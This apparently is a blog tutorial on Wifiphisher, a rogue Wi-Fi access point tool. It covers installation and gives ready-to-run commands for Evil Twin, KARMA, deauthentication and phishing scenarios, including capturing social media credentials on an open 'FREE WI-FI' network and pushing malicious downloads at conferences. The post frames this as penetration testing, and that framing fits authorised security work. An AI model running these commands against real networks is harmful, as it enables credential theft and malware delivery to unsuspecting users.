Wi-Fi security is crucial in today's digital age, and Wifiphisher is a powerful tool that every penetration tester should know about. This framework helps create fake Wi-Fi access points to trick users into connecting, allowing testers to perform man-in-the-middle attacks and phishing schemes to steal credentials or spread malware. In this post, we'll explore how Wifiphisher works and its potential uses.
Table of Contents
Benefits of Wifiphisher
- Wifiphisher is a powerful tool for Wi-Fi hacking. It can run on a Raspberry Pi device for hours, using various techniques like "Evil Twin" and "KARMA".
- It's flexible, with many options and phishing templates for different scenarios. Users can also create custom phishing attacks using Python.
- It's easy to use, with a simple command to start. Advanced users can use more features, and there's a helpful interactive interface.
- It has a supportive community, is free to download, and its source code is available under the GPLv3 license.
Wifiphisher was the first to use some advanced hacking techniques, thanks to extensive research by its developers.
Disclaimer: Using Wifiphisher to attack networks without permission is illegal. It's your responsibility to follow the law. The creators of Wifiphisher are not liable for any misuse or damage caused by the program.
How Wi-Fi Phishing Works
Wi-Fi phishing involves two main steps: getting devices connected to a fake network and then attacking the connected devices.
1. Getting Connected
The first step in Wi-Fi phishing is to trick devices into connecting to a fake network. Attackers use various methods to achieve this:
- Creating a Fake Network: Attackers set up a fake Wi-Fi network that looks real. This fake network can have a name similar to a legitimate network, making it difficult for users to distinguish between the two.
- Pretending to Be a Public Network: Attackers can create a network that looks like a common public Wi-Fi, such as a café or airport network, to lure users into connecting.
- Broadcasting Common Network Names: Attackers broadcast network names (SSIDs) that devices might have connected to before. Many devices automatically connect to known networks, making this method particularly effective.
2. Attacking
Once devices are connected to the fake network, the attacker can perform various attacks:
- Eavesdropping: The attacker can intercept and monitor data passing through the network. This can include sensitive information such as passwords, credit card numbers, and personal messages.
- Scanning for Vulnerabilities: The attacker can scan the connected devices for security weaknesses. These vulnerabilities can then be exploited to gain unauthorized access or to install malicious software.
- Phishing Tactics: The attacker can use various phishing techniques to gather information from the victim. This might involve creating fake login pages to capture usernames and passwords or sending fake security alerts to trick users into revealing personal information.
Wifiphisher is a tool that automates these steps, making it easier for attackers to perform Wi-Fi phishing attacks. By simplifying the process of creating fake networks and carrying out attacks, Wifiphisher allows attackers to quickly and efficiently target unsuspecting users.
Related Posts
Requirements of Wifiphisher
To use Wifiphisher, you need the following:
- A Linux Computer: Wifiphisher works best on Kali Linux, where new features are tested first, but it can also run on other Linux versions.
- A Wireless Network Adapter: The adapter must support AP & Monitor mode and be capable of data injection. Ensure the adapter's drivers support netlink.
Installation of Wifiphisher
To install the latest version of Wifiphisher, follow these steps:
- Download the Latest Version: Use the following command to download Wifiphisher:
- Navigate to the Directory: Move to the downloaded directory with:
- Install Dependencies: Run the command below to install necessary dependencies:
- Alternatively: You can download the latest stable version from the Releases page on GitHub.
git clone https://github.com/wifiphisher/wifiphisher.git
cd wifiphisher
sudo python setup.py install
Usage of Wifiphisher
To use Wifiphisher, enter one of the following commands inside its folder:
wifiphisher
or
python bin/wifiphisher
If you run the tool without any options, it will automatically find the right interfaces and prompt you to select the target Wi-Fi network (ESSID) from a list of nearby networks. You will also need to choose a phishing scenario. By default, Wifiphisher will attempt both Evil Twin and KARMA attacks.
Example Commands:
1. Creating a Fake Access Point and Performing DoS Attacks:
wifiphisher -aI wlan0 -jI wlan4 -p firmware-upgrade --handshake-capture handshake.pcap
Explanation: This command uses wlan0 to create a fake
Access Point and wlan4 to perform
DoS attacks. You manually select the target network from the list and execute the
"Firmware Upgrade" scenario. Ensure the captured Pre-Shared Key (PSK) is
correct by verifying it against the handshake in the
handshake.pcap file.
2. Targeting a Known Network and Performing a Plugin Update Attack:
wifiphisher --essid CONFERENCE_WIFI -p plugin_update -pK s3cr3tp4ssw0rd
Explanation: This command automatically selects the right interfaces, targets the Wi-Fi network with ESSID "CONFERENCE_WIFI," and performs the "Plugin Update" scenario. The Evil Twin network will be protected with the PSK "s3cr3tp4ssw0rd." This is useful in environments where the PSK is known, such as conferences, to trick users into downloading malicious files.
3. Creating an Open Wi-Fi Network and Capturing Social Media Credentials:
wifiphisher --essid "FREE WI-FI" -p oauth-login -kB
Explanation: This command creates an open Wi-Fi network with ESSID "FREE WI-FI" and performs the "OAuth Login" scenario. It also uses the "Known Beacons" technique. This setup is useful in public areas to capture credentials from social networks like Facebook.
To see all the options and their descriptions, type:
wifiphisher -h
These options allow you to customize Wifiphisher's behavior according to your
needs. Below are the available options you can see after typing wifiphisher -h command.
-i INTERFACE or --interface INTERFACE
Description: Manually choose an interface that supports both Access Point (AP) and monitor modes for creating a fake AP and running additional Wi-Fi attacks.
wifiphisher -i wlan1
-eI EXTENSIONSINTERFACE or
--extensionsinterface EXTENSIONSINTERFACE
Description: Manually choose an interface that supports monitor mode for running extensions.
wifiphisher -eI wlan1
-aI APINTERFACE or --apinterface APINTERFACE
Description: Manually choose an interface that supports AP mode for creating a fake AP.
wifiphisher -aI wlan0
-pI INTERFACE or --protectinterface INTERFACE
Description: Specify one or more interfaces that will have their connection protected from being managed by NetworkManager.
wifiphisher -pI wlan0
-kN or --keepnetworkmanager
Description: Do not kill NetworkManager.
wifiphisher -kN
-nE or --noextensions
Description: Do not load any extensions.
wifiphisher -nE
-e ESSID or --essid ESSID
Description: Enter the ESSID of the fake Access Point. This option skips the Access Point selection phase.
wifiphisher -e "Free WiFi"
-pPD PHISHING_PAGES_DIRECTORY or
--phishing-pages-directory PHISHING_PAGES_DIRECTORY
Description: Search for phishing pages in this location.
wifiphisher -pPD /path/to/phishing/pages
-p PHISHINGSCENARIO or
--phishingscenario PHISHINGSCENARIO
Description: Choose the phishing scenario to run. This option skips the scenario selection phase.
wifiphisher -p firmware_upgrade
-pK PRESHAREDKEY or --presharedkey PRESHAREDKEY
Description: Add WPA/WPA2 protection on the fake Access Point.
wifiphisher -pK s3cr3tp4ssw0rd
-qS or --quitonsuccess
Description: Stop the script after successfully retrieving one pair of credentials.
wifiphisher -qS
-lC or --lure10-capture
Description: Capture the BSSIDs of the APs discovered during the AP selection phase. This option is part of the Lure10 attack.
wifiphisher -lC
-lE LURE10_EXPLOIT or
--lure10-exploit LURE10_EXPLOIT
Description: Fool the Windows Location Service of nearby Windows users
into believing they are within an area that was previously captured with
--lure10-capture. Part of the Lure10 attack.
wifiphisher -lE
-iAM or --mac-ap-interface
Description: Specify the MAC address of the AP interface.
wifiphisher -iAM 38:EC:11:00:00:00
-iEM or --mac-extensions-interface
Description: Specify the MAC address of the extensions interface.
wifiphisher -iEM E8:2A:EA:00:00:00
-iNM or --no-mac-randomization
Description: Do not change any MAC address.
wifiphisher -iNM
-hC or --handshake-capture
Description: Capture the WPA/WPA2 handshakes for verifying the passphrase. Requires cowpatty.
wifiphisher -hC capture.pcap
-dE ESSID or --deauth-essid ESSID
Description: Deauth all the BSSIDs in the WLAN with that ESSID.
wifiphisher -dE "TargetWiFi"
-dC CHANNELS or --deauth-channels CHANNELS
Description: Channels to deauth.
wifiphisher --deauth-channels 1,3,7
--logging
Description: Enable logging. Output will be saved to
wifiphisher.log file.
wifiphisher --logging
-lP LOGPATH or --logpath LOGPATH
Description: Determine the full path of the logfile.
wifiphisher --logpath /path/to/logfile.log
-cP CREDENTIAL_LOG_PATH or
--credential-log-path CREDENTIAL_LOG_PATH
Description: Determine the full path of the file that will store any captured credentials.
wifiphisher --credential-log-path /path/to/credentials.log
-cM or --channel-monitor
Description: Monitor if the target access point changes the channel.
wifiphisher --channel-monitor
--payload-path
Description: Enable the payload path. Intended for use with scenarios that serve payloads.
wifiphisher --payload-path /path/to/payload
-wP or --wps-pbc
Description: Monitor if the button on a WPS-PBC Registrar side is pressed.
wifiphisher --wps-pbc
-wAI or --wpspbc-assoc-interface
Description: The WLAN interface used for associating to the WPS AccessPoint.
wifiphisher --wpspbc-assoc-interface wlan0
-kB or --known-beacons
Description: Perform the known beacons Wi-Fi automatic association technique.
wifiphisher --known-beacons
-fH or --force-hostapd
Description: Force the usage of hostapd installed in the system.
wifiphisher --force-hostapd
--dnsmasq-conf DNSMASQ_CONF
Description: Determine the full path of dnsmasq.conf file.
wifiphisher --dnsmasq-conf /path/to/dnsmasq.conf
-dK or --disable-karma
Description: Disables KARMA attack.
wifiphisher --disable-karma
-pE or --phishing-essid
Description: Determine the ESSID you want to use for the phishing page.
wifiphisher --phishing-essid "PhishingWiFi"
Conclusion
Wifiphisher is a powerful tool for testing the security of Wi-Fi networks. It can simulate various attack scenarios, such as Evil Twin and KARMA attacks, to demonstrate vulnerabilities and help users protect their networks. However, it's important to use Wifiphisher responsibly and ethically, as it can be misused for malicious purposes. Users should also be cautious of phishing attempts and malware disguised as Wifiphisher-related content.
If you found this guide helpful, please share it on social media to help others learn about Wi-Fi security. We'd love to hear your thoughts and experiences, so don't forget to leave a comment below!
FQAs
What is Wifiphisher?
Wifiphisher is a tool used for Wi-Fi security testing. It allows penetration testers to create fake Wi-Fi networks and perform various attacks to test the security of wireless networks.
What are the main features of Wifiphisher?
Wifiphisher's main features include creating fake Wi-Fi access points, performing Evil Twin and KARMA attacks, capturing WPA/WPA2 handshakes, and launching phishing attacks to collect credentials or spread malware.
What do I need to use Wifiphisher?
To use Wifiphisher, you need a Linux computer (preferably Kali Linux) and a wireless network adapter that supports both AP (Access Point) mode and Monitor mode, and can inject data.
How do I install Wifiphisher?
To install Wifiphisher, you can clone the repository from GitHub using the command git clone https://github.com/wifiphisher/wifiphisher.git, navigate to the directory with cd wifiphisher, and then run sudo python setup.py install to install the tool.
What are some common Wifiphisher commands?
Some common Wifiphisher commands include:
wifiphisher - Launch Wifiphisher and choose a Wi-Fi network and attack scenario.
wifiphisher --essid "FREE WI-FI" -p oauth-login -kB - Create an open Wi-Fi network and perform the "OAuth Login" phishing scenario.
Is it legal to use Wifiphisher?
Using Wifiphisher is legal only when performed ethically and with permission. Unauthorized use for malicious purposes is illegal and punishable by law. Always ensure you have consent before conducting any security tests.